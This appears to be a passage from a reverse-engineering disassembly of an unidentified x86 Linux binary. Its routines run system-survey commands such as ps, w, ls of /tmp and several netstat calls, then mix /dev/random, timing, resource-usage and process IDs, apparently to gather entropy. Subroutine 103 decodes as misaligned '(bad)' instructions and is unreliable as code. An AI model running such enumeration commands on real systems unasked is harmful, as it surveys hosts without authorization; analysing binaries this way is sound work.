  ; >---------------------<  Subroutine #  94 >---------------------<
  ;
08054524 <Unknown0094>:
08054524  55                 push   %ebp
08054525  89 e5              mov    %esp,%ebp
08054527  83 ec 08           sub    $0x8,%esp
```

```
0805452a   8b 45 10              mov     0x10(%ebp),%eax
0805452d   8d 50 10              lea     0x10(%eax),%edx
08054530   52                    push    %edx
08054531   83 c0 04              add     $0x4,%eax
08054534   50                    push    %eax
08054535   ff 75 0c              pushl   0xc(%ebp)
08054538   ff 75 08              pushl   0x8(%ebp)
0805453b   e8 cc d5 00 00        call    08061b0c <Unknown0327>
08054540   c9                    leave
08054541   c3                    ret
08054542   89 f6                 mov     %esi,%esi


   ;
   ; >---------------------< Subroutine #  95 >---------------------<
   ;
08054544 <Unknown0095>:
08054544   55                    push    %ebp
08054545   89 e5                 mov     %esp,%ebp
08054547   57                    push    %edi
08054548   56                    push    %esi
08054549   53                    push    %ebx
0805454a   83 ec 18              sub     $0x18,%esp
0805454d   8b 5d 10              mov     0x10(%ebp),%ebx
08054550   8b 75 0c              mov     0xc(%ebp),%esi
08054553   53                    push    %ebx
08054554   8b 7d 08              mov     0x8(%ebp),%edi
08054557   e8 34 29 00 00        call    08056e90 <Unknown0170>
0805455c   83 c4 10              add     $0x10,%esp
0805455f   39 de                 cmp     %ebx,%esi
08054561   89 45 f0              mov     %eax,0xfffffff0(%ebp)
08054564   89 f0                 mov     %esi,%eax
08054566   76 02                 jbe     0805456a <Unknown0095+0x26>
08054568   89 d8                 mov     %ebx,%eax
0805456a   52                    push    %edx
0805456b   50                    push    %eax
0805456c   57                    push    %edi
0805456d   ff 75 f0              pushl   0xfffffff0(%ebp)
08054570   e8 c7 5c ff ff        call    0804a23c <memcpy>
08054575   83 c4 0c              add     $0xc,%esp
08054578   56                    push    %esi
08054579   6a 00                 push    $0x0
0805457b   57                    push    %edi
0805457c   e8 2b 5e ff ff        call    0804a3ac <memset>
08054581   89 3c 24              mov     %edi,(%esp,1)
08054584   e8 87 29 00 00        call    08056f10 <Unknown0172>
08054589   8b 45 f0              mov     0xfffffff0(%ebp),%eax
0805458c   8d 65 f4              lea     0xfffffff4(%ebp),%esp
0805458f   5b                    pop     %ebx
08054590   5e                    pop     %esi
08054591   5f                    pop     %edi
08054592   5d                    pop     %ebp
08054593   c3                    ret


   ;
   ; >---------------------< Subroutine #  96 >---------------------<
   ;
08054594 <Unknown0096>:
08054594   55                    push    %ebp
08054595   89 e5                 mov     %esp,%ebp
08054597   53                    push    %ebx
08054598   83 ec 08              sub     $0x8,%esp
0805459b   8b 5d 08              mov     0x8(%ebp),%ebx
0805459e   ff 75 0c              pushl   0xc(%ebp)
080545a1   6a 00                 push    $0x0
080545a3   53                    push    %ebx
080545a4   e8 03 5e ff ff        call    0804a3ac <memset>
080545a9   83 c4 10              add     $0x10,%esp
080545ac   89 5d 08              mov     %ebx,0x8(%ebp)
080545af   8b 5d fc              mov     0xfffffffc(%ebp),%ebx
080545b2   c9                    leave
080545b3   e9 58 29 00 00        jmp     08056f10 <Unknown0172>   ;10584 'x58 x29 x0 x0' "X)"


   ;
   ; >---------------------< Subroutine #  97 >---------------------<
   ;
080545b8 <Unknown0097>:
080545b8   55                    push    %ebp
080545b9   89 e5                 mov     %esp,%ebp
080545bb   83 ec 0c              sub     $0xc,%esp
080545be   68 94 45 05 08        push    $0x8054594   ;10584 'x58 x29 x0 x0' "X)"
080545c3   68 44 45 05 08        push    $0x8054544   ;10584 'x58 x29 x0 x0' "X)"
```

```
080545c8  68 90 6e 05 08        push    $0x8056e90   ;10584 'x58 x29 x0 x0' "X)"
080545cd  e8 12 be 00 00        call    080603e4 <Unknown0304>
080545d2  c9                    leave
080545d3  c3                    ret


  ;
  ; >---------------------< Subroutine #  98 >---------------------<
  ;
080545d4 <Unknown0098>:
080545d4  55                    push    %ebp
080545d5  89 e5                 mov     %esp,%ebp
080545d7  8b 45 08              mov     0x8(%ebp),%eax
080545da  a3 18 7e 07 08        mov     %eax,0x8077e18   ;[in .data] 1 'x1 x0 x0 x0' ""
080545df  5d                    pop     %ebp
080545e0  c3                    ret
080545e1  8d 76 00              lea     0x0(%esi),%esi


  ;
  ; >---------------------< Subroutine #  99 >---------------------<
  ;
080545e4 <Unknown0099>:
080545e4  55                    push    %ebp
080545e5  89 e5                 mov     %esp,%ebp
080545e7  57                    push    %edi
080545e8  56                    push    %esi
080545e9  53                    push    %ebx
080545ea  81 ec 10 20 00 00     sub     $0x2010,%esp   ;8208 'x10 x20 x0 x0' ""
080545f0  8b 45 08              mov     0x8(%ebp),%eax
080545f3  8b 75 0c              mov     0xc(%ebp),%esi
080545f6  c7 80 48 04 00 00 00 00 00 00   movl    $0x0,0x448(%eax)   ;0 'x0 x0 x0 x0' ""
08054600  c7 80 44 04 00 00 00 00 00 00   movl    $0x0,0x444(%eax)   ;0 'x0 x0 x0 x0' ""
0805460a  c7 80 40 04 00 00 40 00 00 00   movl    $0x40,0x440(%eax)   ;64 'x40 x0 x0 x0' "@"
08054614  68 00 04 00 00        push    $0x400   ;1024 'x0 x4 x0 x0' ""
08054619  8b 5d 10              mov     0x10(%ebp),%ebx
0805461c  6a 00                 push    $0x0
0805461e  50                    push    %eax
0805461f  89 df                 mov     %ebx,%edi
08054621  e8 86 5d ff ff        call    0804a3ac <memset>
08054626  31 c0                 xor     %eax,%eax
08054628  fc                    cld
08054629  b9 ff ff ff ff        mov     $0xffffffff,%ecx   ;-1 'xff xff xff xff' ""
0805462e  f2 ae                 repnz scas %es:(%edi),%al
08054630  f7 d1                 not     %ecx
08054632  83 c4 0c              add     $0xc,%esp
08054635  49                    dec     %ecx
08054636  51                    push    %ecx
08054637  53                    push    %ebx
08054638  ff 75 08              pushl   0x8(%ebp)
0805463b  e8 6c 05 00 00        call    08054bac <Unknown0105>
08054640  6a 00                 push    $0x0
08054642  6a 00                 push    $0x0
08054644  53                    push    %ebx
08054645  56                    push    %esi
08054646  e8 55 a3 00 00        call    0805e9a0 <Unknown0279>
0805464b  89 c7                 mov     %eax,%edi
0805464d  83 c4 20              add     $0x20,%esp
08054650  85 ff                 test    %edi,%edi
08054652  74 4c                 je      080546a0 <Unknown0099+0xbc>
08054654  89 fa                 mov     %edi,%edx
08054656  8b 45 08              mov     0x8(%ebp),%eax
08054659  00 10                 add     %dl,(%eax)
0805465b  51                    push    %ecx
0805465c  68 00 20 00 00        push    $0x2000   ;8192 'x0 x20 x0 x0' ""
08054661  8d 9d e8 df ff ff     lea     0xffffdfe8(%ebp),%ebx   ;-8216 'xe8 xdf xff xff' ""
08054667  53                    push    %ebx
08054668  57                    push    %edi
08054669  e8 4e a6 00 00        call    0805ecbc <Unknown0283>
0805466e  89 c6                 mov     %eax,%esi
08054670  89 3c 24              mov     %edi,(%esp,1)
08054673  e8 38 a4 00 00        call    0805eab0 <Unknown0280>
08054678  83 c4 10              add     $0x10,%esp
0805467b  85 f6                 test    %esi,%esi
0805467d  7e 0e                 jle     0805468d <Unknown0099+0xa9>
0805467f  52                    push    %edx
08054680  56                    push    %esi
08054681  53                    push    %ebx
08054682  ff 75 08              pushl   0x8(%ebp)
08054685  e8 22 05 00 00        call    08054bac <Unknown0105>
0805468a  83 c4 10              add     $0x10,%esp
0805468d  50                    push    %eax
0805468e  68 00 20 00 00        push    $0x2000   ;8192 'x0 x20 x0 x0' ""
08054693  6a 00                 push    $0x0
```

```
08054695   53                      push    %ebx
08054696   e8 11 5d ff ff          call    0804a3ac <memset>
0805469b   eb 1c                   jmp     080546b9 <Unknown0099+0xd5>
0805469d   8d 76 00                lea     0x0(%esi),%esi
080546a0   83 ec 08                sub     $0x8,%esp
080546a3   56                      push    %esi
080546a4   ff 75 08                pushl   0x8(%ebp)
080546a7   e8 78 00 00 00          call    08054724 <Unknown0101>
080546ac   83 c4 0c                add     $0xc,%esp
080546af   53                      push    %ebx
080546b0   56                      push    %esi
080546b1   ff 75 08                pushl   0x8(%ebp)
080546b4   e8 fb 08 00 00          call    08054fb4 <Unknown0108>
080546b9   83 c4 10                add     $0x10,%esp
080546bc   83 ec 0c                sub     $0xc,%esp
080546bf   ff 75 08                pushl   0x8(%ebp)
080546c2   e8 6d 01 00 00          call    08054834 <Unknown0102>
080546c7   8d 65 f4                lea     0xfffffff4(%ebp),%esp
080546ca   5b                      pop     %ebx
080546cb   5e                      pop     %esi
080546cc   5f                      pop     %edi
080546cd   5d                      pop     %ebp
080546ce   c3                      ret
080546cf   90                      nop


  ;
  ; >--------------------< Subroutine # 100 >--------------------<
  ;
080546d0 <Unknown0100>:
080546d0   55                      push    %ebp
080546d1   89 e5                   mov     %esp,%ebp
080546d3   8b 4d 0c                mov     0xc(%ebp),%ecx
080546d6   53                      push    %ebx
080546d7   8b 5d 08                mov     0x8(%ebp),%ebx
080546da   0f b6 14 8b             movzbl  (%ebx,%ecx,4),%edx
080546de   0f b6 44 8b 01          movzbl  0x1(%ebx,%ecx,4),%eax
080546e3   c1 e0 10                shl     $0x10,%eax
080546e6   c1 e2 18                shl     $0x18,%edx
080546e9   09 c2                   or      %eax,%edx
080546eb   0f b6 44 8b 02          movzbl  0x2(%ebx,%ecx,4),%eax
080546f0   c1 e0 08                shl     $0x8,%eax
080546f3   09 c2                   or      %eax,%edx
080546f5   0f b6 44 8b 03          movzbl  0x3(%ebx,%ecx,4),%eax
080546fa   09 c2                   or      %eax,%edx
080546fc   33 55 10                xor     0x10(%ebp),%edx
080546ff   89 d0                   mov     %edx,%eax
08054701   c1 e8 18                shr     $0x18,%eax
08054704   88 04 8b                mov     %al,(%ebx,%ecx,4)
08054707   89 d0                   mov     %edx,%eax
08054709   c1 e8 10                shr     $0x10,%eax
0805470c   88 44 8b 01             mov     %al,0x1(%ebx,%ecx,4)
08054710   89 d0                   mov     %edx,%eax
08054712   c1 e8 08                shr     $0x8,%eax
08054715   88 44 8b 02             mov     %al,0x2(%ebx,%ecx,4)
08054719   88 54 8b 03             mov     %dl,0x3(%ebx,%ecx,4)
0805471d   8b 1c 24                mov     (%esp,1),%ebx
08054720   c9                      leave
08054721   c3                      ret
08054722   89 f6                   mov     %esi,%esi


  ;
  ; >--------------------< Subroutine # 101 >--------------------<
  ;
08054724 <Unknown0101>:
08054724   55                      push    %ebp
08054725   89 e5                   mov     %esp,%ebp
08054727   57                      push    %edi
08054728   56                      push    %esi
08054729   53                      push    %ebx
0805472a   83 ec 18                sub     $0x18,%esp
0805472d   8b 5d 08                mov     0x8(%ebp),%ebx
08054730   8b 75 0c                mov     0xc(%ebp),%esi
08054733   6a 00                   push    $0x0
08054735   e8 52 59 ff ff          call    0804a08c <time>
0805473a   83 c4 0c                add     $0xc,%esp
0805473d   68 00 0e 07 08          push    $0x8070e00   ;[in .rodata] 1814066032 'x70 x73 x20 x6c' "ps laxww
                                                                        2>/dev/null"
08054742   56                      push    %esi
08054743   53                      push    %ebx
08054744   89 c7                   mov     %eax,%edi
08054746   e8 d5 03 00 00          call    08054b20 <Unknown0104>
0805474b   c7 04 24 00 00 00 00    movl    $0x0,(%esp,1)   ;0 'x0 x0 x0 x0' ""
```

```
08054752   e8 35 59 ff ff      call    0804a08c <time>
08054757   29 f8               sub     %edi,%eax
08054759   83 c4 10            add     $0x10,%esp
0805475c   83 f8 1d            cmp     $0x1d,%eax
0805475f   7f 10               jg      08054771 <Unknown0101+0x4d>
08054761   52                  push    %edx
08054762   68 15 0e 07 08      push    $0x8070e15  ;[in .rodata] 757101424 'x70 x73 x20 x2d' "ps -al
                                                        2>/dev/null"
08054767   56                  push    %esi
08054768   53                  push    %ebx
08054769   e8 b2 03 00 00      call    08054b20 <Unknown0104>
0805476e   83 c4 10            add     $0x10,%esp
08054771   83 ec 0c            sub     $0xc,%esp
08054774   6a 00               push    $0x0
08054776   e8 11 59 ff ff      call    0804a08c <time>
0805477b   29 f8               sub     %edi,%eax
0805477d   83 c4 10            add     $0x10,%esp
08054780   83 f8 1d            cmp     $0x1d,%eax
08054783   7f 10               jg      08054795 <Unknown0101+0x71>
08054785   50                  push    %eax
08054786   68 28 0e 07 08      push    $0x8070e28  ;[in .rodata] 757101420 'x6c x73 x20 x2d' "ls -alni
                                                        /tmp/. 2>/dev/null"
0805478b   56                  push    %esi
0805478c   53                  push    %ebx
0805478d   e8 8e 03 00 00      call    08054b20 <Unknown0104>
08054792   83 c4 10            add     $0x10,%esp
08054795   83 ec 0c            sub     $0xc,%esp
08054798   6a 00               push    $0x0
0805479a   e8 ed 58 ff ff      call    0804a08c <time>
0805479f   29 f8               sub     %edi,%eax
080547a1   83 c4 10            add     $0x10,%esp
080547a4   83 f8 1d            cmp     $0x1d,%eax
080547a7   7f 10               jg      080547b9 <Unknown0101+0x95>
080547a9   51                  push    %ecx
080547aa   68 44 0e 07 08      push    $0x8070e44  ;[in .rodata] 1043472503 'x77 x20 x32 x3e' "w
                                                        2>/dev/null"
080547af   56                  push    %esi
080547b0   53                  push    %ebx
080547b1   e8 6a 03 00 00      call    08054b20 <Unknown0104>
080547b6   83 c4 10            add     $0x10,%esp
080547b9   83 ec 0c            sub     $0xc,%esp
080547bc   6a 00               push    $0x0
080547be   e8 c9 58 ff ff      call    0804a08c <time>
080547c3   29 f8               sub     %edi,%eax
080547c5   83 c4 10            add     $0x10,%esp
080547c8   83 f8 1d            cmp     $0x1d,%eax
080547cb   7f 10               jg      080547dd <Unknown0101+0xb9>
080547cd   52                  push    %edx
080547ce   68 52 0e 07 08      push    $0x8070e52  ;[in .rodata] 1937007982 'x6e x65 x74 x73' "netstat -s
                                                        2>/dev/null"
080547d3   56                  push    %esi
080547d4   53                  push    %ebx
080547d5   e8 46 03 00 00      call    08054b20 <Unknown0104>
080547da   83 c4 10            add     $0x10,%esp
080547dd   83 ec 0c            sub     $0xc,%esp
080547e0   6a 00               push    $0x0
080547e2   e8 a5 58 ff ff      call    0804a08c <time>
080547e7   29 f8               sub     %edi,%eax
080547e9   83 c4 10            add     $0x10,%esp
080547ec   83 f8 1d            cmp     $0x1d,%eax
080547ef   7f 10               jg      08054801 <Unknown0101+0xdd>
080547f1   50                  push    %eax
080547f2   68 69 0e 07 08      push    $0x8070e69  ;[in .rodata] 1937007982 'x6e x65 x74 x73' "netstat -an
                                                        2>/dev/null"
080547f7   56                  push    %esi
080547f8   53                  push    %ebx
080547f9   e8 22 03 00 00      call    08054b20 <Unknown0104>
080547fe   83 c4 10            add     $0x10,%esp
08054801   83 ec 0c            sub     $0xc,%esp
08054804   6a 00               push    $0x0
08054806   e8 81 58 ff ff      call    0804a08c <time>
0805480b   29 f8               sub     %edi,%eax
0805480d   83 c4 10            add     $0x10,%esp
08054810   83 f8 1d            cmp     $0x1d,%eax
08054813   7f 10               jg      08054825 <Unknown0101+0x101>
08054815   57                  push    %edi
08054816   68 81 0e 07 08      push    $0x8070e81  ;[in .rodata] 1937007982 'x6e x65 x74 x73' "netstat -in
                                                        2>/dev/null"
0805481b   56                  push    %esi
0805481c   53                  push    %ebx
0805481d   e8 fe 02 00 00      call    08054b20 <Unknown0104>
08054822   83 c4 10            add     $0x10,%esp
08054825   89 5d 08            mov     %ebx,0x8(%ebp)
08054828   8d 65 f4            lea     0xfffffff4(%ebp),%esp
```

```
0805482b   5b                         pop     %ebx
0805482c   5e                         pop     %esi
0805482d   5f                         pop     %edi
0805482e   5d                         pop     %ebp
0805482f   e9 00 00 00 00             jmp     08054834 <Unknown0102>  ;0 'x0 x0 x0 x0' ""


   ;
   ; >--------------------<  Subroutine # 102 >--------------------<
   ;
08054834 <Unknown0102>:
08054834   55                         push    %ebp
08054835   89 e5                      mov     %esp,%ebp
08054837   57                         push    %edi
08054838   56                         push    %esi
08054839   53                         push    %ebx
0805483a   81 ec f8 00 00 00          sub     $0xf8,%esp  ;248 'xf8 x0 x0 x0' ""
08054840   8b 7d 08                   mov     0x8(%ebp),%edi
08054843   57                         push    %edi
08054844   e8 b7 03 00 00             call    08054c00 <Unknown0106>
08054849   c7 04 24 00 00 00 00       movl    $0x0,(%esp,1)  ;0 'x0 x0 x0 x0' ""
08054850   e8 37 58 ff ff             call    0804a08c <time>
08054855   2b 87 48 04 00 00          sub     0x448(%edi),%eax  ;1096 'x48 x4 x0 x0' "H"
0805485b   83 c4 10                   add     $0x10,%esp
0805485e   3d 2c 01 00 00             cmp     $0x12c,%eax  ;300 'x2c xl x0 x0' ","
08054863   7e 6c                      jle     080548d1 <Unknown0102+0x9d>
08054865   83 ec 0c                   sub     $0xc,%esp
08054868   6a 00                      push    $0x0
0805486a   e8 1d 58 ff ff             call    0804a08c <time>
0805486f   89 87 48 04 00 00          mov     %eax,0x448(%edi)  ;1096 'x48 x4 x0 x0' "H"
08054875   58                         pop     %eax
08054876   5a                         pop     %edx
08054877   6a 00                      push    $0x0
08054879   68 99 0e 07 08             push    $0x8070e99  ;[in .rodata] 1986356271 'x2f x64 x65 x76'
                                                            "/dev/random"
0805487e   e8 79 5a ff ff             call    0804a2fc <open>
08054883   89 c3                      mov     %eax,%ebx
08054885   83 c4 10                   add     $0x10,%esp
08054888   85 db                      test    %ebx,%ebx
0805488a   78 45                      js      080548d1 <Unknown0102+0x9d>
0805488c   56                         push    %esi
0805488d   68 00 08 00 00             push    $0x800  ;2048 'x0 x8 x0 x0' ""
08054892   6a 04                      push    $0x4
08054894   53                         push    %ebx
08054895   e8 92 59 ff ff             call    0804a22c <fcntl>
0805489a   83 c4 0c                   add     $0xc,%esp
0805489d   6a 20                      push    $0x20
0805489f   8d 45 c8                   lea     0xffffffc8(%ebp),%eax
080548a2   50                         push    %eax
080548a3   53                         push    %ebx
080548a4   89 85 0c ff ff ff          mov     %eax,0xffffff0c(%ebp)  ;-244 'xc xff xff xff' ""
080548aa   e8 fd 5b ff ff             call    0804a4ac <read>
080548af   89 c6                      mov     %eax,%esi
080548b1   89 1c 24                   mov     %ebx,(%esp,1)
080548b4   e8 23 54 ff ff             call    08049cdc <close>
080548b9   83 c4 10                   add     $0x10,%esp
080548bc   85 f6                      test    %esi,%esi
080548be   7e 11                      jle     080548d1 <Unknown0102+0x9d>
080548c0   53                         push    %ebx
080548c1   56                         push    %esi
080548c2   ff b5 0c ff ff ff          pushl   0xffffff0c(%ebp)  ;-244 'xc xff xff xff' ""
080548c8   57                         push    %edi
080548c9   e8 de 02 00 00             call    08054bac <Unknown0105>
080548ce   83 c4 10                   add     $0x10,%esp
080548d1   83 ec 0c                   sub     $0xc,%esp
080548d4   6a 00                      push    $0x0
080548d6   e8 b1 57 ff ff             call    0804a08c <time>
080548db   83 c4 0c                   add     $0xc,%esp
080548de   50                         push    %eax
080548df   0f b6 07                   movzbl  (%edi),%eax
080548e2   50                         push    %eax
080548e3   57                         push    %edi
080548e4   e8 e7 fd ff ff             call    080546d0 <Unknown0100>
080548e9   5a                         pop     %edx
080548ea   59                         pop     %ecx
080548eb   6a 00                      push    $0x0


   ;
   ; >--------------------<  Subroutine # 103 >--------------------<
   ;
080548ec <Unknown0103>:
080548ec   00 8d 85 10 ff ff          add     %cl,0xffff1085(%ebp)  ;-61307 'x85 x10 xff xff' ""
080548f2   ff 50 e8                   call    *0xffffffe8(%eax)
```

```
080548f5  c3                      ret
080548f6  59                      pop     %ecx
080548f7  ff                      (bad)
080548f8  ff 83 c4 0c ff b5       incl    0xb5ff0cc4(%ebx)   ;-1241576252 'xc4 xc xff xb5' ""
080548fe  14 ff                   adc     $0xff,%al
08054900  ff                      (bad)
08054901  ff 6a 00                ljmp    *0x0(%edx)
08054904  57                      push    %edi
08054905  e8 c6 fd ff ff          call    080546d0 <Unknown0100>
0805490a  83 c4 0c                add     $0xc,%esp
0805490d  ff b5 10 ff ff ff       pushl   0xffffff10(%ebp)   ;-240 'x10 xff xff xff' ""
08054913  6a 01                   push    $0x1
08054915  57                      push    %edi
08054916  e8 b5 fd ff ff          call    080546d0 <Unknown0100>
0805491b  e8 5c 54 ff ff          call    08049d7c <clock>
08054920  83 c4 0c                add     $0xc,%esp
08054923  50                      push    %eax
08054924  6a 03                   push    $0x3
08054926  57                      push    %edi
08054927  e8 a4 fd ff ff          call    080546d0 <Unknown0100>
0805492c  8d 45 b8                lea     0xffffffb8(%ebp),%eax
0805492f  89 04 24                mov     %eax,(%esp,1)
08054932  e8 35 59 ff ff          call    0804a26c <times>
08054937  83 c4 0c                add     $0xc,%esp
0805493a  50                      push    %eax
0805493b  6a 02                   push    $0x2
0805493d  57                      push    %edi
0805493e  e8 8d fd ff ff          call    080546d0 <Unknown0100>
08054943  8b 55 bc                mov     0xffffffbc(%ebp),%edx
08054946  8b 45 c0                mov     0xffffffc0(%ebp),%eax
08054949  c1 e2 08                shl     $0x8,%edx
0805494c  33 55 b8                xor     0xffffffb8(%ebp),%edx
0805494f  c1 e0 10                shl     $0x10,%eax
08054952  31 c2                   xor     %eax,%edx
08054954  8b 45 c4                mov     0xffffffc4(%ebp),%eax
08054957  c1 e0 18                shl     $0x18,%eax
0805495a  31 c2                   xor     %eax,%edx
0805495c  83 c4 0c                add     $0xc,%esp
0805495f  52                      push    %edx
08054960  6a 04                   push    $0x4
08054962  57                      push    %edi
08054963  e8 68 fd ff ff          call    080546d0 <Unknown0100>
08054968  5e                      pop     %esi
08054969  58                      pop     %eax
0805496a  8d 85 68 ff ff ff       lea     0xffffff68(%ebp),%eax   ;-152 'x68 xff xff xff' "h"
08054970  50                      push    %eax
08054971  6a 00                   push    $0x0
08054973  e8 14 54 ff ff          call    08049d8c <getrusage>
08054978  59                      pop     %ecx
08054979  5b                      pop     %ebx
0805497a  8d 85 18 ff ff ff       lea     0xffffff18(%ebp),%eax   ;-232 'x18 xff xff xff' ""
08054980  50                      push    %eax
08054981  6a ff                   push    $0xffffffff
08054983  e8 04 54 ff ff          call    08049d8c <getrusage>
08054988  8b 85 1c ff ff ff       mov     0xffffff1c(%ebp),%eax   ;-228 'x1c xff xff xff' ""
0805498e  83 c4 0c                add     $0xc,%esp
08054991  03 85 6c ff ff ff       add     0xffffff6c(%ebp),%eax   ;-148 'x6c xff xff xff' "l"
08054997  50                      push    %eax
08054998  6a 00                   push    $0x0
0805499a  57                      push    %edi
0805499b  e8 30 fd ff ff          call    080546d0 <Unknown0100>
080549a0  8b 85 24 ff ff ff       mov     0xffffff24(%ebp),%eax   ;-220 'x24 xff xff xff' "$"
080549a6  83 c4 0c                add     $0xc,%esp
080549a9  03 85 74 ff ff ff       add     0xffffff74(%ebp),%eax   ;-140 'x74 xff xff xff' "t"
080549af  50                      push    %eax
080549b0  6a 02                   push    $0x2
080549b2  57                      push    %edi
080549b3  e8 18 fd ff ff          call    080546d0 <Unknown0100>
080549b8  8b 85 28 ff ff ff       mov     0xffffff28(%ebp),%eax   ;-216 'x28 xff xff xff' "("
080549be  83 c4 0c                add     $0xc,%esp
080549c1  03 85 78 ff ff ff       add     0xffffff78(%ebp),%eax   ;-136 'x78 xff xff xff' "x"
080549c7  50                      push    %eax
080549c8  6a 05                   push    $0x5
080549ca  57                      push    %edi
080549cb  e8 00 fd ff ff          call    080546d0 <Unknown0100>
080549d0  8b 85 2c ff ff ff       mov     0xffffff2c(%ebp),%eax   ;-212 'x2c xff xff xff' ","
080549d6  83 c4 0c                add     $0xc,%esp
080549d9  03 85 7c ff ff ff       add     0xffffff7c(%ebp),%eax   ;-132 'x7c xff xff xff' "|"
080549df  50                      push    %eax
080549e0  6a 06                   push    $0x6
080549e2  57                      push    %edi
080549e3  e8 e8 fc ff ff          call    080546d0 <Unknown0100>
080549e8  8b 85 30 ff ff ff       mov     0xffffff30(%ebp),%eax   ;-208 'x30 xff xff xff' "0"
080549ee  83 c4 0c                add     $0xc,%esp
```

```
080549f1  03 45 80            add     0xffffff80(%ebp),%eax
080549f4  50                  push    %eax
080549f5  6a 07               push    $0x7
080549f7  57                  push    %edi
080549f8  e8 d3 fc ff ff      call    080546d0 <Unknown0100>
080549fd  8b 85 38 ff ff ff   mov     0xffffff38(%ebp),%eax   ;-200 'x38 xff xff xff' "8"
08054a03  83 c4 0c            add     $0xc,%esp
08054a06  03 45 88            add     0xffffff88(%ebp),%eax
08054a09  50                  push    %eax
08054a0a  6a 08               push    $0x8
08054a0c  57                  push    %edi
08054a0d  e8 be fc ff ff      call    080546d0 <Unknown0100>
08054a12  8b 85 3c ff ff ff   mov     0xffffff3c(%ebp),%eax   ;-196 'x3c xff xff xff' "<"
08054a18  83 c4 0c            add     $0xc,%esp
08054a1b  03 45 8c            add     0xffffff8c(%ebp),%eax
08054a1e  50                  push    %eax
08054a1f  6a 09               push    $0x9
08054a21  57                  push    %edi
08054a22  e8 a9 fc ff ff      call    080546d0 <Unknown0100>
08054a27  8b 85 40 ff ff ff   mov     0xffffff40(%ebp),%eax   ;-192 'x40 xff xff xff' "@"
08054a2d  83 c4 0c            add     $0xc,%esp
08054a30  03 45 90            add     0xffffff90(%ebp),%eax
08054a33  50                  push    %eax
08054a34  6a 0a               push    $0xa
08054a36  57                  push    %edi
08054a37  e8 94 fc ff ff      call    080546d0 <Unknown0100>
08054a3c  8b 85 44 ff ff ff   mov     0xffffff44(%ebp),%eax   ;-188 'x44 xff xff xff' "D"
08054a42  83 c4 0c            add     $0xc,%esp
08054a45  03 45 94            add     0xffffff94(%ebp),%eax
08054a48  50                  push    %eax
08054a49  6a 0b               push    $0xb
08054a4b  57                  push    %edi
08054a4c  e8 7f fc ff ff      call    080546d0 <Unknown0100>
08054a51  8b 85 48 ff ff ff   mov     0xffffff48(%ebp),%eax   ;-184 'x48 xff xff xff' "H"
08054a57  83 c4 0c            add     $0xc,%esp
08054a5a  03 45 98            add     0xffffff98(%ebp),%eax
08054a5d  50                  push    %eax
08054a5e  6a 0c               push    $0xc
08054a60  57                  push    %edi
08054a61  e8 6a fc ff ff      call    080546d0 <Unknown0100>
08054a66  8b 55 a0            mov     0xffffffa0(%ebp),%edx
08054a69  8b 85 50 ff ff ff   mov     0xffffff50(%ebp),%eax   ;-176 'x50 xff xff xff' "P"
08054a6f  33 55 9c            xor     0xffffff9c(%ebp),%edx
08054a72  33 85 4c ff ff ff   xor     0xffffff4c(%ebp),%eax   ;-180 'x4c xff xff xff' "L"
08054a78  33 85 54 ff ff ff   xor     0xffffff54(%ebp),%eax   ;-172 'x54 xff xff xff' "T"
08054a7e  33 55 a4            xor     0xffffffa4(%ebp),%edx
08054a81  01 c2               add     %eax,%edx
08054a83  83 c4 0c            add     $0xc,%esp
08054a86  52                  push    %edx
08054a87  6a 0d               push    $0xd
08054a89  57                  push    %edi
08054a8a  e8 41 fc ff ff      call    080546d0 <Unknown0100>
08054a8f  8b 85 58 ff ff ff   mov     0xffffff58(%ebp),%eax   ;-168 'x58 xff xff xff' "X"
08054a95  83 c4 0c            add     $0xc,%esp
08054a98  03 45 a8            add     0xffffffa8(%ebp),%eax
08054a9b  50                  push    %eax
08054a9c  6a 0e               push    $0xe
08054a9e  57                  push    %edi
08054a9f  e8 2c fc ff ff      call    080546d0 <Unknown0100>
08054aa4  8b 85 5c ff ff ff   mov     0xffffff5c(%ebp),%eax   ;-164 'x5c xff xff xff' "\"
08054aaa  83 c4 0c            add     $0xc,%esp
08054aad  03 45 ac            add     0xffffffac(%ebp),%eax
08054ab0  50                  push    %eax
08054ab1  6a 0f               push    $0xf
08054ab3  57                  push    %edi
08054ab4  e8 17 fc ff ff      call    080546d0 <Unknown0100>
08054ab9  e8 ce 51 ff ff      call    08049c8c <getpid>
08054abe  83 c4 0c            add     $0xc,%esp
08054ac1  50                  push    %eax
08054ac2  6a 0b               push    $0xb
08054ac4  57                  push    %edi
08054ac5  e8 06 fc ff ff      call    080546d0 <Unknown0100>
08054aca  e8 7d 54 ff ff      call    08049f4c <getppid>
08054acf  83 c4 0c            add     $0xc,%esp
08054ad2  50                  push    %eax
08054ad3  6a 0c               push    $0xc
08054ad5  57                  push    %edi
08054ad6  e8 f5 fb ff ff      call    080546d0 <Unknown0100>
08054adb  e8 2c 57 ff ff      call    0804a20c <getuid>
08054ae0  83 c4 0c            add     $0xc,%esp
08054ae3  50                  push    %eax
08054ae4  6a 0a               push    $0xa
08054ae6  57                  push    %edi
08054ae7  e8 e4 fb ff ff      call    080546d0 <Unknown0100>
```

```
08054aec  e8 bb 57 ff ff       call    0804a2ac <getgid>
08054af1  83 c4 0c             add     $0xc,%esp
08054af4  c1 e0 10             shl     $0x10,%eax
08054af7  50                   push    %eax
08054af8  6a 0a                push    $0xa
08054afa  57                   push    %edi
08054afb  e8 d0 fb ff ff       call    080546d0 <Unknown0100>
08054b00  83 c4 0c             add     $0xc,%esp
08054b03  68 00 00 06 00       push    $0x60000   ;393216 'x0 x0 x6 x0' ""
08054b08  6a 0d                push    $0xd
08054b0a  57                   push    %edi
08054b0b  e8 c0 fb ff ff       call    080546d0 <Unknown0100>
08054b10  89 3c 24             mov     %edi,(%esp,1)
08054b13  e8 e8 00 00 00       call    08054c00 <Unknown0106>
08054b18  8d 65 f4             lea     0xfffffff4(%ebp),%esp
08054b1b  5b                   pop     %ebx
08054b1c  5e                   pop     %esi
08054b1d  5f                   pop     %edi
08054b1e  5d                   pop     %ebp
08054b1f  c3                   ret

  ;
  ; >---------------------<  Subroutine # 104 >---------------------<
  ;
08054b20 <Unknown0104>:
08054b20  55                   push    %ebp
08054b21  89 e5                mov     %esp,%ebp
08054b23  57                   push    %edi
08054b24  56                   push    %esi
08054b25  53                   push    %ebx
08054b26  81 ec 00 04 00 00    sub     $0x400,%esp   ;1024 'x0 x4 x0 x0' ""
08054b2c  68 a5 0e 07 08       push    $0x8070ea5   ;[in .rodata] 1634861170 'x72 x0 x72 x61' "r"
08054b31  ff 75 10             pushl   0x10(%ebp)
08054b34  ff 75 0c             pushl   0xc(%ebp)
08054b37  e8 c4 a5 00 00       call    0805f100 <Unknown0289>
